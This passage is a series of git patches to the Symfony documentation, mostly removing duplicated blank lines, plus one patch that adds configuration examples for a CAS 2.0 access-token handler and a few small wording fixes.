 .. _components-property-access-magic-get:
 
 Magic ``__get()`` Method
diff --git a/configuration.rst b/configuration.rst
index 7c6090b0987..37e341179ee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -338,7 +338,6 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             ]);
         };
 
-
 .. note::
 
     If some parameter value includes the ``%`` character, you need to escape it
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 21e3f89d31b..41bf46d0e66 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -74,7 +74,6 @@ Web front-controller::
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...
 
-
 .. _override-config-dir:
 
 Override the Configuration Directory
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 3927fa6161f..863f575287d 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -320,6 +320,5 @@ The secrets system is enabled by default and some of its behavior can be configu
             ;
         };
 
-
 .. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat
diff --git a/console.rst b/console.rst
index 393f75fe677..e414ed15ced 100644
--- a/console.rst
+++ b/console.rst
@@ -571,7 +571,6 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-
 .. caution::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass an
diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst
index 0a048d8fa6e..5b9bc932205 100644
--- a/contributing/community/review-comments.rst
+++ b/contributing/community/review-comments.rst
@@ -149,7 +149,6 @@ you don't have to use "Please" all the time. But it wouldn't hurt.
 It may not seem like much, but saying "Thank you" does make others feel
 more welcome.
 
-
 Preventing Escalations
 ----------------------
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index cc5e16f3f81..0184fef36fc 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -175,7 +175,6 @@ Images and Diagrams
             alt="Some concise description."
         ></object>
 
-
 English Language Standards
 --------------------------
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 442143fa7ed..57e0aa55c9f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -679,7 +679,6 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
         #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
         private $products;
 
-
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 7292356841d..fe9e074f58c 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -464,7 +464,6 @@ Symfony passes a series of variables to the template used to render the form
 type. You can also pass your own variables, which can be based on the options
 defined by the form or be completely independent::
 
-
     // src/Form/Type/PostalAddressType.php
     namespace App\Form\Type;
 
diff --git a/form/form_collections.rst b/form/form_collections.rst
index a2726ed1ed6..b3caff2f436 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -529,7 +529,6 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
         }
     }
 
-
 The ``allow_delete`` option means that if an item of a collection
 isn't sent on submission, the related data is removed from the collection
 on the server. In order for this to work in an HTML form, you must remove
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 04a2d45f245..c5716b3f111 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -152,7 +152,6 @@ After creating the strategy PHP class, register it as a Symfony service.
                 );
         };
 
-
 Finally, enable the new asset versioning for all the application assets or just
 for some :ref:`asset package <reference-framework-assets-packages>` thanks to
 the :ref:`version_strategy <reference-assets-version-strategy>` option:
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b509b68246f..01501178caf 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -122,7 +122,6 @@ Live Reloading when changing PHP / Twig Files
 To utilize the HMR superpower along with live reload for your PHP code and
 templates, set the following options:
 
-
 .. code-block:: javascript
 
     // webpack.config.js
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 4660b07603a..c12783781c3 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -9,7 +9,7 @@ Enabling React.js
 .. tip::
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
-    
+
 Using React? First add some dependencies with npm:
 
 .. code-block:: terminal
@@ -28,7 +28,6 @@ Enable react in your ``webpack.config.js``:
     +     .enableReactPreset()
       ;
 
-
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index 7739b0a49c6..f9d2353a75e 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -22,7 +22,6 @@ To enable this, call ``splitEntryChunks()``:
 
     +     .splitEntryChunks()
 
-
 Now, each output file (e.g. ``homepage.js``) *may* be split into multiple file
 (e.g. ``homepage.js`` & ``vendors-node_modules_jquery_dist_jquery_js.js`` - the
 filename of the second will be less obvious when you build for production). This
diff --git a/mailer.rst b/mailer.rst
index 379e2a71694..f5609ae394a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -323,7 +323,6 @@ Other Options
 
         This option was introduced in Symfony 5.2.
 
-
 ``local_domain``
     The domain name to use in ``HELO`` command::
 
@@ -1351,7 +1350,6 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
-
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
diff --git a/mercure.rst b/mercure.rst
index 2b34c3c105b..a2ed1fea4db 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -501,14 +501,12 @@ And here is the controller::
         }
     }
 
-
 .. tip::
 
     You cannot use the ``mercure()`` helper and the ``setCookie()``
     method at the same time (it would set the cookie twice on a single request). Choose
     either one method or the other.
 
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
diff --git a/messenger.rst b/messenger.rst
index 84de04743de..ea8a66ae8cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1604,7 +1604,6 @@ The Redis transport DSN may looks like this:
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-
 ===================  =====================================  =================================
 Option               Description                            Default
 ===================  =====================================  =================================
@@ -2361,7 +2360,6 @@ and a different instance will be created per bus.
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 
-
     .. code-block:: xml
 
         <!-- config/packages/messenger.xml -->
diff --git a/profiler.rst b/profiler.rst
index 3da11a5bab6..134a8336cf4 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -193,7 +193,6 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
-
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
     use Symfony\Component\HttpKernel\KernelInterface;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7ffb0826ae8..25edfe52910 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2862,7 +2862,6 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
-
 secrets
 ~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e28b52336ba..771054d9d12 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -303,7 +303,6 @@ the ``debug:firewall`` command:
 
     The ``debug:firewall`` command was introduced in Symfony 5.3.
 
-
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 60ed57b98d2..fbffb0e4d17 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -120,4 +120,3 @@ Parameter        Description
 
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3#Current_codes
-
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index da3c263d99e..cf151610324 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -142,7 +142,6 @@ This option defines the pattern used to validate the email address. Valid values
     :class:`Symfony\\Component\\Validator\\Constraints\\Email`
     (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
-
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 06578c27c19..444df708eb2 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -10,7 +10,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
     ``===``.
 
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 3a197426975..44977ca0ea6 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -55,7 +55,6 @@ and ``50``, you might add the following:
             protected $firstName;
         }
 
-
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index b918c21695a..326e66e7c9b 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -78,7 +78,6 @@ positive number (greater than zero):
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-
         class Employee
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 102e6486e41..be7b8355cd6 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -112,5 +112,4 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-
 .. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 99c02f0f5b2..5ebd5def049 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -63,7 +63,6 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-
 .. caution::
 
     In the previous translation format, placeholders were often wrapped in ``%``
diff --git a/routing.rst b/routing.rst
index b5d1e5cc95c..b557763e118 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2099,7 +2099,6 @@ host name:
             ;
         };
 
-
 The value of the ``host`` option can include parameters (which is useful in
 multi-tenant applications) and these parameters can be validated too with
 ``requirements``:
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e79ea010ecd..e79d8a002a1 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -292,7 +292,6 @@ The following credential classes are supported by default:
             $apiToken
         ));
 
-
 Self Validating Passport
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/entry_point.rst b/security/entry_point.rst
index fb1fbe4ea41..9dfaf8bca8c 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -68,7 +68,6 @@ You can configure this using the ``entry_point`` setting:
             $security->enableAuthenticatorManager(true);
             // ....
 
-
             // allow authentication using a form or HTTP basic
             $mainFirewall = $security->firewall('main');
             $mainFirewall
diff --git a/security/ldap.rst b/security/ldap.rst
index b984bdf749b..e6bb8d6351b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,7 +197,6 @@ use the ``ldap`` user provider.
             ;
         };
 
-
 .. caution::
 
     The Security component escapes provided input data when the LDAP user
@@ -530,4 +529,3 @@ Configuration example for form login and query_string
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: https://datatracker.ietf.org/doc/rfc4515/
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
-
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 4038f9e6268..055c0a783cf 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -289,7 +289,6 @@ Persistent tokens
 
         The ``service`` option was introduced in Symfony 5.1.
 
-
 .. _security-remember-me-signature:
 
 Using Signed Remember Me Tokens
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 432cb205b63..9f8a9d8448d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -53,7 +53,6 @@ create your own encoder that uses the
     ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
     or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
 
-
 Registering it in your app
 --------------------------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index c2c8c5d0bbf..85044ed0f33 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -86,4 +86,3 @@ is called.
     as well the ones included in `API Platform`_ natively implement this interface.
 
 .. _`API Platform`: https://api-platform.com
-
diff --git a/service_container.rst b/service_container.rst
index 6a3b606be22..097cdcd5a60 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -45,7 +45,6 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
         }
     }
 
-
 What other services are available? Find out by running:
 
 .. code-block:: terminal
@@ -513,7 +512,6 @@ pass here. No problem! In your configuration, you can explicitly set this argume
             ;
         };
 
-
 Thanks to this, the container will pass ``manager@example.com`` to the ``$adminEmail``
 argument of ``__construct`` when creating the ``SiteUpdateManager`` service. The
 other arguments will still be autowired.
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index b1c6e85d265..d75d34443ca 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -119,7 +119,6 @@ both services:
                 ->autowire();
         };
 
-
 Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     // src/Controller/DefaultController.php
@@ -256,7 +255,6 @@ adding a service alias:
             $services->alias(Rot13Transformer::class, 'app.rot13.transformer');
         };
 
-
 This creates a service "alias", whose id is ``App\Util\Rot13Transformer``.
 Thanks to this, autowiring sees this and uses it whenever the ``Rot13Transformer``
 class is type-hinted.
@@ -360,7 +358,6 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
         };
 
-
 Thanks to the ``App\Util\TransformerInterface`` alias, the autowiring subsystem
 knows that the ``App\Util\Rot13Transformer`` service should be injected when
 dealing with the ``TransformerInterface``.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index a188bb2a046..3f13655c6cb 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -82,7 +82,6 @@ create its object:
                 ->factory([NewsletterManagerStaticFactory::class, 'createNewsletterManager']);
         };
 
-
 .. note::
 
     When using a factory to create services, the value chosen for class
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index bf45e100ef8..86cfc33749b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -82,7 +82,6 @@ You can mark the service as ``lazy`` by manipulating its definition:
             $services->set(AppExtension::class)->lazy();
         };
 
-
 Once you inject the service into another service, a virtual `proxy`_ with the
 same signature of the class representing the service should be injected. The
 same happens when calling ``Container::get()`` directly.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 5d663fbc797..08bff60b534 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -309,7 +309,6 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
                 ->args([service('.inner')]);
         };
 
-
 The generated code will be the following::
 
     $this->services[Foo::class] = new Baz(new Bar(new Foo()));
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index fc26c6848d3..c43a15034d0 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -71,7 +71,6 @@ configuration:
                 ->synthetic();
         };
 
-
 Now, you can inject the instance in the container using
 :method:`Container::set() <Symfony\\Component\\DependencyInjection\\Container::set>`::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index cb4c4d562f9..9917cc65204 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -44,7 +44,6 @@ example:
                 ->tag('twig.extension');
         };
 
-
 Services tagged with the ``twig.extension`` tag are collected during the
 initialization of TwigBundle and added to Twig as extensions.
 
@@ -348,7 +347,6 @@ Then, define the chain as a service:
             $services->set(TransportChain::class);
         };
 
-
 Define Services with a Custom Tag
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/session.rst b/session.rst
index d112e9acfb4..3298e425965 100644
--- a/session.rst
+++ b/session.rst
@@ -1002,7 +1002,6 @@ the MongoDB connection as argument, and the required parameters:
 ``collection``:
     The name of the collection
 
-
 .. configuration-block::
 
     .. code-block:: yaml
diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index d143c69f3d7..191dd6a4e02 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -228,7 +228,6 @@ computer, and execute the following command:
 
 Replace ``[token]`` with the value of your Gitlab personal access token.
 
-
 Configure Your Project's ``composer.json`` File
 -----------------------------------------------
 
@@ -308,4 +307,3 @@ install the new private recipes, run the following command:
 
 .. _`release of version 1.16`: https://github.com/symfony/cli
 .. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main
-
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 6b30a0f785b..f8010440855 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -7,7 +7,6 @@ they are released as stable versions.
 Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
-
 Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 6723d0abaa3..cfd4ec1a0b7 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -197,7 +197,6 @@ When using Caddy on the server, you can use a configuration like this:
         encode zstd gzip
         file_server
 
-
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php7.4-fpm.sock {
             # optionally set the value of the environment variables used in the application
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 16a02c12894..593c968e12a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -666,4 +666,3 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
-

From c881eab2864a24d9ec567d06630eeaa2d6331373 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 19:55:50 +0100
Subject: [PATCH 4448/5766] [Security] add CAS 2.0 AccessToken handler

---
 security/access_token.rst | 188 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 185 insertions(+), 3 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 29fbfbc8bb6..83e33bae901 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -697,6 +697,187 @@ create your own User from the claims, you must
         }
     }
 
+Using CAS 2.0
+-------------
+
+`Central Authentication Service (CAS)`_ is an enterprise multilingual single
+sign-on solution and identity provider for the web and attempts to be a
+comprehensive platform for your authentication and authorization needs.
+
+Configure the Cas2Handler
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony provides a generic ``Cas2Handler`` to call your CAS server. It requires
+the ``symfony/http-client`` package to make the needed HTTP requests. If you
+haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/http-client
+
+You can configure a ``cas`` ``token_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+            ;
+        };
+
+The ``cas`` token handler automatically creates an HTTP client to call
+the specified ``validation_url``. If you prefer using your own client, you can
+specify the service name via the ``http_client`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                http_client: cas.client
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" http-client="cas.client"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->httpClient('cas.client')
+            ;
+        };
+
+By default the token handler will read the validation URL XML response with
+ ``cas`` prefix but you can configure another prefix:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                prefix: cas-example
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" prefix="cas-example"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->prefix('cas-example')
+            ;
+        };
+
 Creating Users from Token
 -------------------------
 
@@ -727,8 +908,9 @@ need a user provider to create a user from the database::
 When using this strategy, you can omit the ``user_provider`` configuration
 for :ref:`stateless firewalls <reference-security-stateless>`.
 
+.. _`Central Authentication Service (CAS)`: https://en.wikipedia.org/wiki/Central_Authentication_Service
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
-.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
-.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
-.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
 .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)
+.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
+.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 7da27faa8f3976721b9776ff90fc4eda7f05b4d5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 8 Feb 2024 20:13:08 +0100
Subject: [PATCH 4449/5766] restore code block for reStructured text

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 8e8feedb642..0cdf4ecb2b9 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -346,9 +346,9 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute the
         following command to download the latest stable version of this bundle:
 
-       ```bash
-        composer require <package-name>
-        ```
+        .. code-block:: terminal
+
+            composer require <package-name>
 
         Step 2: Enable the Bundle
         ~~~~~~~~~~~~~~~~~~~~~~~~~

From ea212df3838701bf6123aa4bebfa39991d024df0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 8 Feb 2024 20:42:06 +0100
Subject: [PATCH 4450/5766] [AssetMapper] Minor

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#handling-css

This is indeed better than https://github.com/symfony/symfony-docs/pull/19453 was; and much better than before.

1. "valid" in which sense? Valid importmap syntax?
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 345973332a0..926ce322a53 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -421,8 +421,8 @@ the page as ``link`` tags in the order they were imported.
 
     Importing a CSS file is *not* something that is natively supported by
     JavaScript modules. AssetMapper makes this work by adding a special importmap
-    entry for each CSS file. These special entries are valid valid, but do nothing.
-    AssetMapper adds a ``<link>`` tag for each CSS file, but when the JavaScript
+    entry for each CSS file. These special entries are valid, but do nothing.
+    AssetMapper adds a ``<link>`` tag for each CSS file, but when JavaScript
     executes the ``import`` statement, nothing additional happens.
 
 .. _asset-mapper-3rd-party-css:

From 998929c21bbbaf9de1e3aa65d43309c951bf767b Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Wed, 31 Jan 2024 12:36:17 +0100
Subject: [PATCH 4451/5766] Update form.rst for flattened form errors

Updated to reflect the code.
---
 components/form.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 42a5a00bbae..7584d223032 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -749,10 +749,11 @@ method to access the list of errors. It returns a
     // "firstName" field
     $errors = $form['firstName']->getErrors();
 
-    // a FormErrorIterator instance in a flattened structure
+    // a FormErrorIterator instance including child forms in a flattened structure
+    // use getOrigin() to determine the form causing the error
     $errors = $form->getErrors(true);
 
-    // a FormErrorIterator instance representing the form tree structure
+    // a FormErrorIterator instance including child forms without flattening the output structure
     $errors = $form->getErrors(true, false);
 
 Clearing Form Errors

From 07c2d48c50ff5ab4f8f5a045f25a0e5fe92e2670 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 9 Feb 2024 19:03:31 +0100
Subject: [PATCH 4452/5766] Minor: remove duplicated lines

---
 components/dependency_injection.rst     | 1 -
 controller/value_resolver.rst           | 1 -
 messenger.rst                           | 1 -
 migration.rst                           | 1 -
 reference/configuration/security.rst    | 1 -
 reference/constraints/Unique.rst        | 1 -
 serializer.rst                          | 1 -
 serializer/custom_normalizer.rst        | 3 ---
 workflow/workflow-and-state-machine.rst | 1 -
 9 files changed, 11 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 79b35bf312e..93e8af711cf 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -178,7 +178,6 @@ You can override this behavior as follows::
     // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
-
 These are all the possible behaviors:
 
  * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
